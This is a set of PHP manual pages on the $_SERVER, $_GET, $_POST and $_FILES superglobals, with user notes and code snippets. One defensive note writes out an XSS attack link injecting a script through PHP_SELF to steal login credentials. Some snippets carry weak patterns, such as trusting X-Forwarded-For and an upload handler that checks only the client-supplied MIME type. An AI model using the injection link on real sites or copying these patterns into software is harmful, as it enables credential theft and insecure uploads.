    [quantifier] => 0.4
    [3] => 0.4
)
Lord Mac 14-Oct-2009 07:56
An even *more* improved version...

<?php
phpinfo(32);
?>
steve at sc-fa dot com 17-Sep-2009 12:20
If you are serving from behind a proxy server, you will almost certainly save time by looking at what these $_SERVER variables do on your machine behind the proxy.

$_SERVER['HTTP_X_FORWARDED_FOR'] in place of $_SERVER['REMOTE_ADDR']

$_SERVER['HTTP_X_FORWARDED_HOST'] and
$_SERVER['HTTP_X_FORWARDED_SERVER'] in place of (at least in our case,) $_SERVER['SERVER_NAME']
cupy at email dot cz 20-Aug-2009 08:24
Tech note:
$_SERVER['argc'] and $_SERVER['argv'][] has some funny behaviour,
used from linux (bash) commandline, when called like
"php ./script_name.php 0x020B"
there is everything correct, but
"./script_name.php 0x020B"
is not correct - "0" is passed instead of "0x020B" as $_SERVER['argv'][1] - see the script below.
Looks like the parameter is not passed well from bash to PHP.
(but, inspected on the level of bash, 0x020B is understood well as $1)

try this example:

------------->8------------------
cat ./script_name.php
#! /usr/bin/php

if( $_SERVER['argc'] == 2)
  {
    // funny... we have to do this trick to pass e.g. 0x020B from parameters
    // ignore this: "PHP Notice:  Undefined offset:  2 in ..."
    $EID = $_SERVER['argv'][1] + $_SERVER['argv'][2] + $_SERVER['argv'][3];
  }
 else
   {        // default
     $EID = 0x0210; // PPS failure
   }
jarrod at squarecrow dot com 10-Aug-2009 08:31
$_SERVER['DOCUMENT_ROOT'] is incredibly useful especially when working in your development environment. If you're working on large projects you'll likely be including a large number of files into your pages. For example:

<?php
//Defines constants to use for "include" URLS - helps keep our paths clean

        define("REGISTRY_CLASSES",  $_SERVER['DOCUMENT_ROOT']."/SOAP/classes/");
        define("REGISTRY_CONTROLS", $_SERVER['DOCUMENT_ROOT']."/SOAP/controls/");

        define("STRING_BUILDER",     REGISTRY_CLASSES. "stringbuilder.php");
        define("SESSION_MANAGER",     REGISTRY_CLASSES. "sessionmanager.php");
        define("STANDARD_CONTROLS",    REGISTRY_CONTROLS."standardcontrols.php");
?>

In development environments, you're rarely working with your root folder, especially if you're running PHP locally on your box and using DOCUMENT_ROOT is a great way to maintain URL conformity. This will save you hours of work preparing your application for deployment from your box to a production server (not to mention save you the headache of include path failures).
Richard York 09-Jul-2009 11:19
Not documented here is the fact that $_SERVER is populated with some pretty useful information when accessing PHP via the shell.

 ["_SERVER"]=>
  array(24) {
    ["MANPATH"]=>
    string(48) "/usr/share/man:/usr/local/share/man:/usr/X11/man"
    ["TERM"]=>
    string(11) "xterm-color"
    ["SHELL"]=>
    string(9) "/bin/bash"
    ["SSH_CLIENT"]=>
    string(20) "127.0.0.1 41242 22"
    ["OLDPWD"]=>
    string(60) "/Library/WebServer/Domains/www.example.com/private"
    ["SSH_TTY"]=>
    string(12) "/dev/ttys000"
    ["USER"]=>
    string(5) "username"
    ["MAIL"]=>
    string(15) "/var/mail/username"
    ["PATH"]=>
    string(57) "/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin:/usr/X11/bin"
    ["PWD"]=>
    string(56) "/Library/WebServer/Domains/www.example.com/www"
    ["SHLVL"]=>
    string(1) "1"
    ["HOME"]=>
    string(12) "/Users/username"
    ["LOGNAME"]=>
    string(5) "username"
    ["SSH_CONNECTION"]=>
    string(31) "127.0.0.1 41242 10.0.0.1 22"
    ["_"]=>
    string(12) "/usr/bin/php"
    ["__CF_USER_TEXT_ENCODING"]=>
    string(9) "0x1F5:0:0"
    ["PHP_SELF"]=>
    string(10) "Shell.php"
    ["SCRIPT_NAME"]=>
    string(10) "Shell.php"
    ["SCRIPT_FILENAME"]=>
    string(10) "Shell.php"
    ["PATH_TRANSLATED"]=>
    string(10) "Shell.php"
    ["DOCUMENT_ROOT"]=>
    string(0) ""
    ["REQUEST_TIME"]=>
    int(1247162183)
    ["argv"]=>
    array(1) {
      [0]=>
      string(10) "Shell.php"
    }
    ["argc"]=>
    int(1)
  }
chris 02-Jul-2009 04:01
A table of everything in the $_SERVER array can be found near the bottom of the output of phpinfo();
pudding06 at gmail dot com 02-May-2009 02:44
Here's a simple, quick but effective way to block unwanted external visitors to your local server:

<?php
// only local requests
if ($_SERVER['REMOTE_ADDR'] !== '127.0.0.1') die(header("Location: /"));
?>

This will direct all external traffic to your home page. Of course you could send a 404 or other custom error. Best practice is not to stay on the page with a custom error message as you acknowledge that the page does exist. That's why I redirect unwanted calls to (for example) phpmyadmin.
Vladimir Kornea 13-Mar-2009 05:06
1. All elements of the $_SERVER array whose keys begin with 'HTTP_' come from HTTP request headers and are not to be trusted.

2. All HTTP headers sent to the script are made available through the $_SERVER array, with names prefixed by 'HTTP_'.

3. $_SERVER['PHP_SELF'] is dangerous if misused. If login.php/nearly_arbitrary_string is requested, $_SERVER['PHP_SELF'] will contain not just login.php, but the entire login.php/nearly_arbitrary_string. If you've printed $_SERVER['PHP_SELF'] as the value of the action attribute of your form tag without performing HTML encoding, an attacker can perform XSS attacks by offering users a link to your site such as this:

<a href='http://www.example.com/login.php/"><script type="text/javascript">...</script><span a="'>Example.com</a>

The javascript block would define an event handler function and bind it to the form's submit event. This event handler would load via an <img> tag an external file, with the submitted username and password as parameters.

Use $_SERVER['SCRIPT_NAME'] instead of $_SERVER['PHP_SELF']. HTML encode every string sent to the browser that should not be interpreted as HTML, unless you are absolutely certain that it cannot contain anything that the browser can interpret as HTML.
info at mtprod dot com 23-Jan-2009 02:13
On Windows IIS 7 you must use $_SERVER['LOCAL_ADDR'] rather than $_SERVER['SERVER_ADDR'] to get the server's IP address.
jonbarnett at gmail dot com 23-Nov-2008 09:13
It's worth noting that $_SERVER variables get created for any HTTP request headers, including those you might invent:

If the browser sends an HTTP request header of:
X-Debug-Custom: some string

Then:

<?php
$_SERVER['HTTP_X_DEBUG_CUSTOM']; // "some string"
?>

There are better ways to identify the HTTP request headers sent by the browser, but this is convenient if you know what to expect from, for example, an AJAX script with custom headers.

Works in PHP5 on Apache with mod_php.  Don't know if this is true from other environments.
Tonin 16-Sep-2008 10:43
When using the $_SERVER['SERVER_NAME'] variable in an apache virtual host setup with a ServerAlias directive, be sure to check the UseCanonicalName apache directive.  If it is On, this variable will always have the apache ServerName value.  If it is Off, it will have the value given by the headers sent by the browser.

Depending on what you want to do the content of this variable, put in On or Off.
silverquick at gmail dot com 05-Aug-2008 05:55
I think the HTTPS element will only be present under Apache 2.x. It's not in the list of "special" variables here:
http://httpd.apache.org/docs/1.3/mod/mod_rewrite.html#RewriteCond
But it is here:
http://httpd.apache.org/docs/2.0/mod/mod_rewrite.html#rewritecond


HTTP GET 变量

  • ? $_SERVER
  • $_POST ?
  • PHP Manual
  • 预定义变量
  • HTTP GET 变量

$_GET

$_GET — HTTP GET 变量

说明

通过 URL 参数（又叫 query string）传递给当前脚本的变量的数组。 注意：该数组不仅仅对 method 为 GET 的请求生效，而是会针对所有带 query string 的请求。

示例

Example #1 $_GET 范例

<?php
echo 'Hello ' . htmlspecialchars($_GET["name"]) . '!';
?>

假设用户访问的是 http://example.com/?name=Hannes

以上示例的输出类似于：

Hello Hannes!

注释

Note:

"Superglobal"也称为自动化的全局变量。这就表示其在脚本的所有作用域中都是可用的。不需要在函数或方法中用 global $variable; 来访问它。

Note:

GET 是通过 urldecode() 传递的。

参见

  • 处理外部变量
  • 过滤器扩展

User Contributed Notes

There are no user contributed notes for this page.


HTTP POST 变量

  • ? $_GET
  • $_FILES ?
  • PHP Manual
  • 预定义变量
  • HTTP POST 变量

$_POST

$_POST — HTTP POST 变量

说明

当 HTTP POST 请求的 Content-Type 是 application/x-www-form-urlencoded 或 multipart/form-data 时，会将变量以关联数组形式传入当前脚本。

示例

Example #1 $_POST 范例

<?php
echo 'Hello ' . htmlspecialchars($_POST["name"]) . '!';
?>

假设用户通过 HTTP POST 方式传递了参数 name=Hannes

以上示例的输出类似于：

Hello Hannes!

注释

Note:

"Superglobal"也称为自动化的全局变量。这就表示其在脚本的所有作用域中都是可用的。不需要在函数或方法中用 global $variable; 来访问它。

参见

  • 处理外部变量
  • 过滤器扩展

User Contributed Notes

php (at) vxvr /dot de 03-Jan-2021 04:13
If you want to receive application/json post data in your script you can not use $_POST. $_POST does only handle form data.
Read from php://input instead. You can use fopen or file_get_contents.

Example:

<?php
// Get the JSON contents
$json = file_get_contents('php://input');

// decode the json data
$data = json_decode($json);
 ?>
woodhavenbp at yahoo dot com 15-Jul-2016 04:21
There's an earlier note here about correctly referencing elements in $_POST which is accurate.  $_POST is an associative array indexed by form element NAMES, not IDs.  One way to think of it is like this:  element "id=" is for CSS, while element "name=" is for PHP.  If you are referring to your element ID in the POST array, it won't work.  You must assign a name attribute to your element to reference it correctly in the POST array.  These two attributes can be the same for simplicity, i.e.,
<input type="text" id="txtForm" name="txtForm">...</input>
darren_wheatley at hotmail dot com 13-Aug-2015 03:08
I know it's a pretty basic thing but I had issues trying to access the $_POST variable on a form submission from my HTML page. It took me ages to work out and I couldn't find the help I needed in google. Hence this post.

Make sure your input items have the NAME attribute. The id attribute is not enough! The name attribute on your input controls is what $_POST uses to index the data and therefore show the results.
CXJ 10-Mar-2014 08:18
Note that $_POST is NOT set for all HTTP POST operations,  but only for specific types of POST operations.  I have not been able to find documentation, but here's what I've found so far.

$_POST _is_ set for:

Content-Type: application/x-www-form-urlencoded

In other words,  for standard web forms.

$_POST is NOT set for:

Content-Type:text/xml

A type used for a generic HTTP POST operation.
james dot ellis at gmail dot com 14-Dec-2008 05:38
One feature of PHP's processing of POST and GET variables is that it automatically decodes indexed form variable names.

I've seem innumerable projects that jump through extra & un-needed processing hoops to decode variables when PHP does it all for you:

Example pseudo code:

Many web sites do this:

<form ....>
<input name="person_0_first_name" value="john" />
<input name="person_0_last_name" value="smith" />
...

<input name="person_1_first_name" value="jane" />
<input name="person_1_last_name" value="jones" />
</form>

When they could do this:

<form ....>
<input name="person[0][first_name]" value="john" />
<input name="person[0][last_name]" value="smith" />
...
<input name="person[1][first_name]" value="jane" />
<input name="person[1][last_name]" value="jones" />
</form>

With the first example you'd have to do string parsing / regexes to get the correct values out so they can be married with other data in your app... whereas with the second example.. you will end up with something like:
<?php
var_dump($_POST['person']);
//will get you something like:
array (
0 => array('first_name'=>'john','last_name'=>'smith'),
1 => array('first_name'=>'jane','last_name'=>'jones'),
)
?>

This is invaluable when you want to link various posted form data to other hashes on the server side, when you need to store posted data in separate "compartment" arrays or when you want to link your POSTed data into different record handlers in various Frameworks.

Remember also that using [] as in index will cause a sequential numeric array to be created once the data is posted, so sometimes it's better to define your indexes explicitly.
paul at youngish dot homelinux^org 08-Dec-2008 01:09
For a page with multiple forms here is one way of processing the different POST values that you may receive.  This code is good for when you have distinct forms on a page.  Adding another form only requires an extra entry in the array and switch statements.

<?php

 if (!empty($_POST))
 {
    // Array of post values for each different form on your page.
    $postNameArr = array('F1_Submit', 'F2_Submit', 'F3_Submit');

    // Find all of the post identifiers within $_POST
    $postIdentifierArr = array();

    foreach ($postNameArr as $postName)
    {
        if (array_key_exists($postName, $_POST))
        {
             $postIdentifierArr[] = $postName;
        }
    }

    // Only one form should be submitted at a time so we should have one
    // post identifier.  The die statements here are pretty harsh you may consider
    // a warning rather than this.
    if (count($postIdentifierArr) != 1)
    {
        count($postIdentifierArr) < 1 or
            die("\$_POST contained more than one post identifier: " .
               implode(" ", $postIdentifierArr));

        // We have not died yet so we must have less than one.
        die("\$_POST did not contain a known post identifier.");
    }

    switch ($postIdentifierArr[0])
    {
    case 'F1_Submit':
       echo "Perform actual code for F1_Submit.";
       break;

    case 'Modify':
       echo "Perform actual code for F2_Submit.";
       break;

    case 'Delete':
       echo "Perform actual code for F3_Submit.";
       break;
    }
}
else // $_POST is empty.
{
    echo "Perform code for page without POST data. ";
}
?>


HTTP 文件上传变量

  • ? $_POST
  • $_REQUEST ?
  • PHP Manual
  • 预定义变量
  • HTTP 文件上传变量

$_FILES

$_FILES — HTTP 文件上传变量

说明

通过 HTTP POST 方式上传到当前脚本的项目的数组。 此数组的概况在 POST 方法上传 章节中有描述。

注释

Note:

"Superglobal"也称为自动化的全局变量。这就表示其在脚本的所有作用域中都是可用的。不需要在函数或方法中用 global $variable; 来访问它。

参见

  • move_uploaded_file() - 将上传的文件移动到新位置
  • 处理文件上传

User Contributed Notes

sabeerbikba02 at gmail dot com 08-Nov-2023 04:00
Error code returned in $_FILES['userfile']['error'].

■UPLOAD_ERROR_OK, value 0, means no error occurred.
 ■ UPLOAD_ERR_INI_SIZE, value 1, means that the size of the uploaded file exceeds the
maximum value specified in your php.ini file with the upload_max_filesize directive.
 ■ UPLOAD_ERR_FORM_SIZE, value 2, means that the size of the uploaded file exceeds the
maximum value specified in the HTML form in the MAX_FILE_SIZE element.
 ■ UPLOAD_ERR_PARTIAL, value 3, means that the file was only partially uploaded.
 ■ UPLOAD_ERR_NO_FILE, value 4, means that no file was uploaded.
 ■ UPLOAD_ERR_NO_TMP_DIR, value 6, means that no temporary directory is specified in the
php.ini.
 ■ UPLOAD_ERR_CANT_WRITE, value 7, means that writing the file to disk failed.
 ■ UPLOAD_ERR_EXTENSION, value 8, means that a PHP extension stopped the file upload
process.
ASchmidt at Anamera dot net 07-Jun-2021 07:56
The attached "new FILES_flattened" class flattens the $_FILES array, for any combination of "single" files, multi-file arrays with given indices [i] or multi-file array with [] indices, even multi-level multi-file arrays [i][j]...[n].

An additional element "pos" in the flattened array will hold the "node path" for each file of a multi-file array, e.g. 'pos' => [ i, j ], so that it can be used for proper disposition of the file in database array, or for creating automated names that append each index level.

Most importantly, the HTML input "name" property and all other information remains fully intact.

HTML <form> snippet:
 <input type="hidden" name="MAX_FILE_SIZE" value="2500000" title="Permitted bytes per file." />
 <input type="file" name="pictures[4]" accept="image/*"/>
 <input type="file" name="thumb" accept="image/*" />
 <input type="file" name="pictures[]" accept="image/*" />
 <input type="file" name="pictures[10][5]" accept="image/*" />
 <input type="file" name="pictures[17]" accept="image/*" />

Result :
A flat array, one element per <input> field, each will have this structure:

...
'pictures' => array (size=6)
  'name' => 'ClientFilename.jpg'
  'type' => 'image/jpeg' (
  'tmp_name' => '...\php8D2C.tmp'
  'error' => 0
  'size' => 1274994
  'pos' => array (size=2)
      0 => 10
      1 => 5
...

with nothing more than a simple foreach:

<?php
foreach( new RecursiveIteratorIterator( new FILES_flattened ) as $key => $data ) {
    var_dump( $key, $data );

    // Here's how to use the "pos" element, to generate an automated name
    // that incorporates the "node path", e.g. "picture[10][5]"
    echo $key.( empty( $data[ 'pos' ] ) ? '' : '['. implode( '][', $data[ 'pos' ] ) . ']' );
}
ASchmidt at Anamera dot net 07-Jun-2021 07:50
Comprehensive iterator for direct "flat" access for any-level arrayed <input>, in any combination:

<?php
foreach( new RecursiveIteratorIterator( new FILES_flattened ) as $key => $data ) {
    var_dump( $key, $data );
    // Here's how to generate an automated name that incorporates the "node path", e.g. "picture[10][5]"
    echo $key.( empty( $data[ 'pos' ] ) ? '' : '['. implode( '][', $data[ 'pos' ] ) . ']' );
}

class FILES_flattened implements RecursiveIterator
{
    protected $list_array;
    protected $basename;
    protected $current;

    public function __construct()
    {
        $this->list_array = $_FILES;
    }

    public function rewind(): void
    {
        if ( false === $current = reset( $this->list_array ) or null === $this->basename = key( $this->list_array ) ) {
            $this->current = null;
            return;
        }

        $current[ 'pos' ] = array();
        $this->current = $current;
    }

    public function next(): void
    {
        if ( false === $current = next( $this->list_array ) or null === $this->basename = key( $this->list_array ) ) {
            $this->current = null;
            return;
        }

        $current[ 'pos' ] = array();
        $this->current = $current;
    }

    public function valid(): bool
    {
        return null !== key( $this->list_array );        // End of array (inc. empty array).
    }

    public function hasChildren(): bool
    {
        return is_array( $this->current[ 'name' ] );
    }

    public function getChildren(): FILES_nested
    {
        return new FILES_nested( $this->basename, $this->current );
    }

    public function current()
    {
        return $this->current;
    }

    public function key()
    {
        return $this->basename;
    }
}

class FILES_nested extends FILES_flattened implements RecursiveIterator
{
    private $node_array;
    private $position;

    public function __construct( string $basename, array $node_array )
    {
        $this->basename = $basename;
        $this->list_array = $node_array[ 'name' ];

        $this->position = $node_array[ 'pos' ];
        unset( $node_array[ 'pos' ] );

        $this->node_array = $node_array;
    }

    public function rewind(): void
    {
        if ( false === reset( $this->list_array ) or null === $key = key( $this->list_array ) ) {
            $this->current = null;
            return;
        }
        $this->current = $this->normalize( $key );
    }

    public function next(): void
    {
        if ( false === next( $this->list_array ) or null === $key = key( $this->list_array ) ) {
            $this->current = null;
            return;
        }
        $this->current = $this->normalize( $key );
    }

    private function normalize( $key ): array
    {
        $normalized = array_combine( array_keys( $this->node_array ), array_column( $this->node_array, $key) );

        $position = $this->position;
        $position[] = $key;

        $normalized[ 'pos' ] = $position;
        return $normalized;
    }
}
emre 14-Mar-2021 09:21
this is frustrating that the explanations redirected by anchors are providing unsufficient information or even worst is provide nothing. instead, looking for people to make the resources locale, you MUST provide approprate documentation for everybody.
ymlmau at gmail dot com 23-Feb-2021 05:17
Best way to check if $_FILES is empty or not is to check if the name of the index 0 is set.

<?php
if ($_FILES['fieldname']['name'][0] != ""){
 //Code goes here!
}
?>
dariusakafest at gmail dot com 27-Nov-2019 12:30
Good normalized the $_FILES array so

function getRequestFiles()
 {
        $result = array();

        if (is_array($_FILES)) {
            foreach($_FILES as $name => $fileArray) {
                $row = array();
                foreach ($fileArray as $key => &$data) {
                    findNoArrayElementAndReplace($data, $key);
                    $row = array_merge_recursive($row, $data);
                }
                $result[$name] = $row;
            }
        }

        return $result;
}

function findNoArrayElementAndReplace(&$array, $key)
 {
        if (is_array($array)) {
            foreach ($array as &$item) {
                findNoArrayElementAndReplace($item, $key);
            }
        } else {
            $array = array(
                $key => $array
            );
        }
}
poppy gloria 09-Jun-2019 05:11
For uploading only one file,  my version, that checks if the file is uploaded.

function processForm($messages) {
        if ($_FILES['file']["error"] == UPLOAD_ERR_OK ) {
    if($_FILES['file']['type'] != "text/csv" && $_FILES['file']['type'] != "application/vnd.ms-excel") {
                $messages->add_error('Wrong format.');
                return false;
    }
elseif ( !move_uploaded_file( $_FILES['file']["tmp_name"], "files/" .
basename( $_FILES['file']["name"] ) ) ) {
                $messages->add_error('Upload failed');
                return false;
                }
        }
       else {
    $messages->add_error("Something went wrong.");
    return false;
       }
    return true;
}

if (isset($_POST['btnUpload'])) {
    if(is_uploaded_file($_FILES['file']['tmp_name'])) {
         if (processForm($messages)) {
                $fileName = "files/" . basename($_FILES['file']['name']);
                parseAndInsert($fileName, $db);
                $messages->add_message("Success");
            }
            }
    else {
        $messages->add_error('File did not upload');
    }
}

function parseAndInsert($fileName, $db) {
        $file = fopen($fileName, "r");
        while($line = fgetcsv($file, 1000, ";")) {
            $db->addGrade(intval($line[0]), intval($line[1]), intval($line[2]));
        }
    fclose($file);
    }
tuomas dot piispanen at gmail dot com 07-Sep-2017 10:36
Here's a function that I have used to get a nice simple array of all incoming files from a page. It basically just flattens the $FILES array. This function works on many file inputs on the page and also if the inputs are '<input type="file[]" multiple>'. Note that this function loses the file input names (I usually process the files just by type).

<?php

function incoming_files() {
    $files = $_FILES;
    $files2 = [];
    foreach ($files as $input => $infoArr) {
        $filesByInput = [];
        foreach ($infoArr as $key => $valueArr) {
            if (is_array($valueArr)) { // file input "multiple"
                foreach($valueArr as $i=>$value) {
                    $filesByInput[$i][$key] = $value;
                }
            }
            else { // -> string, normal file input
                $filesByInput[] = $infoArr;
                break;
            }
        }
        $files2 = array_merge($files2,$filesByInput);
    }
    $files3 = [];
    foreach($files2 as $file) { // let's filter empty & errors
        if (!$file['error']) $files3[] = $file;
    }
    return $files3;
}

$tmpFiles = incoming_files();

?>

will transform this:

Array
(
    [files1] => Array
        (
            [name] => facepalm.jpg
            [type] => image/jpeg
            [tmp_name] => /tmp/php3zU3t5
            [error] => 0
            [size] => 31059
        )

    [files2] => Array
        (
            [name] => Array
                (
                    [0] => facepalm2.jpg
                    [1] => facepalm3.jpg
                )

            [type] => Array
                (
                    [0] => image/jpeg
                    [1] => image/jpeg
                )

            [tmp_name] => Array
                (
                    [0] => /tmp/phpJutmOS
                    [1] => /tmp/php9bNI8F
                )

            [error] => Array
                (
                    [0] => 0
                    [1] => 0
                )

            [size] => Array
                (
                    [0] => 78085
                    [1] => 61429
                )

        )

)

into this:

Array
(
    [0] => Array
        (
            [name] => facepalm.jpg
            [type] => image/jpeg
            [tmp_name] => /tmp/php3zU3t5
            [error] => 0
            [size] => 31059
        )

    [1] => Array
        (
            [name] => facepalm2.jpg
            [type] => image/jpeg
            [tmp_name] => /tmp/phpJutmOS
            [error] => 0
            [size] => 78085
        )

    [2] => Array
        (
            [name] => facepalm3.jpg
            [type] => image/jpeg
            [tmp_name] => /tmp/php9bNI8F
            [error] => 0
            [size] => 61429
        )

)
mike dot reiche at tyclipso dot net 09-Aug-2017 12:43
I normalized the $_FILES array to

[doc] => Array
        (
            [0] => Array
                (
                    [name] => testfile.txt
                    [type] => application/octet-stream
                    [tmp_name] => /tmp/php6wHXmC
                    [error] => 0
                    [size] => 4
                )

            [affe] => Array
                (
                    [name] => testfile.txt
                    [type] => application/octet-stream
                    [tmp_name] => /tmp/phpfiHK2e
                    [error] => 0
                    [size] => 4
                )

        )

<?php
function getFiles() {
    $result = array();
    foreach($_FILES as $name => $fileArray) {
        if (is_array($fileArray['name'])) {
            foreach ($fileArray as $attrib => $list) {
                foreach ($list as $index => $value) {
                    $result[$name][$index][$attrib]=$value;
                }
            }
        } else {
            $result[$name][] = $fileArray;
        }
    }
    return $result;
}
?>

So yo have always the same structure, even if you post one ore more files:

<?php
//single file
$request->addFileFromLocalFilePath('doc','testfile.txt');

// multiple files
$request->addFileFromLocalFilePath('doc[0]','testfile.txt');
$request->addFileFromLocalFilePath('doc[affe]','testfile.txt');

foreach ($request->getFiles() as $fieldName => $files) {
    foreach ($files as $index => $fileArray) {
        echo $fileArray['tmp_name'];
    }
}

?>
Jack Sleight 10-Nov-2015 12:05
I've written this function to restructure deeply nested $_FILES arrays, so that the parameters for each file are grouped together.

function restructure_files(array $input)
{
    $output = [];
    foreach ($input as $name => $array) {
        foreach ($array as $field => $value) {
            $pointer = &$output[$name];
            if (!is_array($value)) {
                $pointer[$field] = $value;
                continue;
            }
            $stack = [&$pointer];
            $iterator = new \RecursiveIteratorIterator(
                new \RecursiveArrayIterator($value),
                \RecursiveIteratorIterator::SELF_FIRST
            );
            foreach ($iterator as $key => $value) {
                array_splice($stack, $iterator->getDepth() + 1);
                $pointer = &$stack[count($stack) - 1];
                $pointer = &$pointer[$key];
                $stack[] = &$pointer;
                if (!$iterator->hasChildren()) {
                    $pointer[$field] = $value;
                }
            }
        }
    }
    return $output;
}

Turns this:

array (size=2)
  'one' =>
    array (size=5)
      'name' =>
        array (size=1)
          'inner' =>
            array (size=2)
              11 => string 'DM4C2738.jpg' (length=12)
              5 => string 'DM4C2760.jpg' (length=12)
      'type' =>
        array (size=1)
          'inner' =>
            array (size=2)
              11 => string 'image/jpeg' (length=10)
              5 => string 'image/jpeg' (length=10)
      'tmp_name' =>
        array (size=1)
          'inner' =>
            array (size=2)
              11 => string '/private/var/tmp/phploOZRb' (length=26)
              5 => string '/private/var/tmp/phpsFkmIh' (length=26)
      'error' =>
        array (size=1)
          'inner' =>
            array (size=2)
              11 => int 0
              5 => int 0
      'size' =>
        array (size=1)
          'inner' =>
            array (size=2)
              11 => int 1031601
              5 => int 674697
  'two' =>
    array (size=5)
      'name' => string '9ncYySC.jpg' (length=11)
      'type' => string 'image/jpeg' (length=10)
      'tmp_name' => string '/private/var/tmp/phpuG99X9' (length=26)
      'error' => int 0
      'size' => int 882422

Into this:

array (size=2)
  'one' =>
    array (size=1)
      'inner' =>
        array (size=2)
          11 =>
            array (size=5)
              'name' => string 'DM4C2738.jpg' (length=12)
              'type' => string 'image/jpeg' (length=10)
              'tmp_name' => string '/private/var/tmp/phploOZRb' (length=26)
              'error' => int 0
              'size' => int 1031601
          5 =>
            array (size=5)
              'name' => string 'DM4C2760.jpg' (length=12)
              'type' => string 'image/jpeg' (length=10)
              'tmp_name' => string '/private/var/tmp/phpsFkmIh' (length=26)
              'error' => int 0
              'size' => int 674697
  'two' =>
    array (size=5)
      'name' => string '9ncYySC.jpg' (length=11)
      'type' => string 'image/jpeg' (length=10)
      'tmp_name' => string '/private/var/tmp/phpuG99X9' (length=26)
      'error' => int 0
      'size' => int 882422
kennyp33 at gmail dot com 14-Jul-2015 12:46
If you are getting NULL values and want to see what error is being returned you can add ' 2>&1' to the end of your command. On a linux server this will redirect the stderr to stdout (so the string error will be output). This probably saved me a ton of time.
scohen987 at gmail dot com 14-Nov-2014 09:49
see http://php.net/manual/en/features.file-upload.post-method.php for documentation of the $_FILES array, which is what I came to this page for in the first place.
Jmanuel_castillo_exe at yahoo dot com 06-Jun-2014 04:18
I spent 3 hours trying to find out why when I upload multiples file $_FILES  return empty, I did noticed it was only when I select files that exceed 3m so I thought it was something related to the MAX_UPLOAD_SIZE that for my surprice came as default as 20m which was very confusing. Later I discovery the problem was in the POST_MAX_SIZE been 3m, so it happen that not only MAX_UPLOAD_SIZE is responsible and that is why I'd like to know there is no error message that shows the cause.
brian at diamondsea dot com 16-Mar-2014 06:11
If you are looking for the $_FILES['error'] code explanations, be sure to read:

Handling File Uploads - Error Messages Explained
http://www.php.net/manual/en/features.file-upload.errors.php
delete dot this dot and dot dots dot gt at kani dot hu 10-Mar-2014 04:29
Here is my version of $_FILES rearrange. Unlike other codes here, this working well on any depth of $_FILES.
<?php
if (!empty($_FILES)) {
    function rearrange_files_array(array $array) {
        foreach ($array as &$value) {
            $_array = array();
            foreach ($value as $prop => $propval) {
                if (is_array($propval)) {
                    array_walk_recursive($propval, function(&$item, $key, $value) use($prop) {
                        $item = array($prop => $item);
                    }, $value);
                    $_array = array_replace_recursive($_array, $propval);
                } else {
                    $_array[$prop] = $propval;
                }
            }
            $value = $_array;
        }
        return $array;
    }
    echo '<pre>'.print_r(rearrange_files_array($_FILES), true).'</pre>';
}
?>
<form method="post" enctype="multipart/form-data" style="clear: both;">
    <h3>upload1</h3>
    <div><label>new0</label><input type="file" name="upload1[new][]" /></div>
    <div><label>new1</label><input type="file" name="upload1[new][]" /></div>
    <div><label>update.id11</label><input type="file" name="upload1[update][id11]" /></div>
    <div><label>update.id12</label><input type="file" name="upload1[update][id12]" /></div>
    <hr />
    <h3>upload2</h3>
    <div><label>new0</label><input type="file" name="upload2[]" /></div>
    <div><label>new1</label><input type="file" name="upload2[]" /></div>
    <div><label>update.id21</label><input type="file" name="upload2[id21]" /></div>
    <div><label>update.id22</label><input type="file" name="upload2[id22]" /></div>
    <hr />
    <div><label>upload3</label><input type="file" name="upload3" /></div>
    <input type="submit" value="go" />
</form>

The output after empty form is posted:
Array
(
    [upload1] => Array
        (
            [new] => Array
                (
                    [0] => Array
                        (
                            [name] =>
                            [type] =>
                            [tmp_name] =>
                            [error] => 4
                            [size] => 0
                        )
                    [1] => Array
                        (
                            [name] =>
                            [type] =>
                            [tmp_name] =>
                            [error] => 4
                            [size] => 0
                        )
                )
            [update] => Array
                (
                    [id11] => Array
                        (
                            [name] =>
                            [type] =>
                            [tmp_name] =>
                            [error] => 4
                            [size] => 0
                        )
                    [id12] => Array
                        (
                            [name] =>
                            [type] =>
                            [tmp_name] =>
                            [error] => 4
                            [size] => 0
                        )
                )
        )
    [upload2] => Array
        (
            [0] => Array
                (
                    [name] =>
                    [type] =>
                    [tmp_name] =>
                    [error] => 4
                    [size] => 0
                )
            [1] => Array
                (
                    [name] =>
                    [type] =>
                    [tmp_name] =>
                    [error] => 4
                    [size] => 0
                )
            [id21] => Array
                (
                    [name] =>
                    [type] =>
                    [tmp_name] =>
                    [error] => 4
                    [size] => 0
                )
            [id22] => Array
                (
                    [name] =>
                    [type] =>
                    [tmp_name] =>
                    [error] => 4
                    [size] => 0
                )
        )
    [upload3] => Array
        (
            [name] =>
            [type] =>
            [tmp_name] =>
            [error] => 4
            [size] => 0
        )
)
badandyomega at gmail dot com 10-Jan-2014 01:27
Others have posted about how the $_FILES array organizes data differently depending on whether the HTML input is a single or multiple type, so it seems to be a common enough problem.  If for some reason you need to mix-and-match the types, or you're not sure which how many files you'll be expecting from a multiple input, this is a very useful way to reorganize the $_FILES array.  Also, unlike some of the earlier posts, the formatting of the new array (i.e. the number of keys and values) is consistent.

<?php
// Reorganize $_FILES array information
$files = Array ();
$i = 0;

// Start with all inputs in $_FILES array
foreach ($_FILES as $input)
{
    $j = 0;

    foreach ($input as $property => $value)
    {
        if (is_array($value))
        {
            $j = count($value); // Number of iterations

            for ($k = 0; $k < $j; ++$k)
            {
                $files[$i + $k][$property] = $value[$k];
            }
        }
        else
        {
            $j = 1;

            $files[$i][$property] = $value;
        }
    }

    $i += $j;
}
?>

The results will look something like this:
$files = Array (
   [0] => Array (
      [name] => ''
      [type] => ''
      [tmp_name] => ''
      [error] => 0
      [size] => 0
   )
)
phazei at gmail dot com 09-Oct-2013 12:51
I realize there are a number of posts here for reformating the php $_FILES array, but they don't handle all cases.  This handles the single case, the multiple file case, and even submitting multiple file arrays.  This way no matter what, before ever touching the files array I call this regardless of what it might be:

<?php
    /**
     * This is to fix the odd files array PHP creates when a file input has a name that's php array:
     * eg: <file name="model[column]" value='file1'> <file name="model[column2][]" value='file2'>
     * becomes:  $_FILES['model']['name'][column] = file1_name.xxx
     *           $_FILES['model']['name'][column2][0] = file2_name.xxx
     *
     * this changes it to:
     *           $files['model'][column]['name'] = file1_name.xxx
     *           $files['model'][column2][0]['name'] = file2_name.xxx
     *
     * This way the file data is grouped together as expected and as it does with a non-array type name attribute
     */
    static public function multi_file_fix($files = null)
    {

        if ($files == null) {
            $files = (is_array($_FILES)) ? $_FILES : array();
        }

        //make there there is a file, and see if the first item is also an array
        $new_files = array();
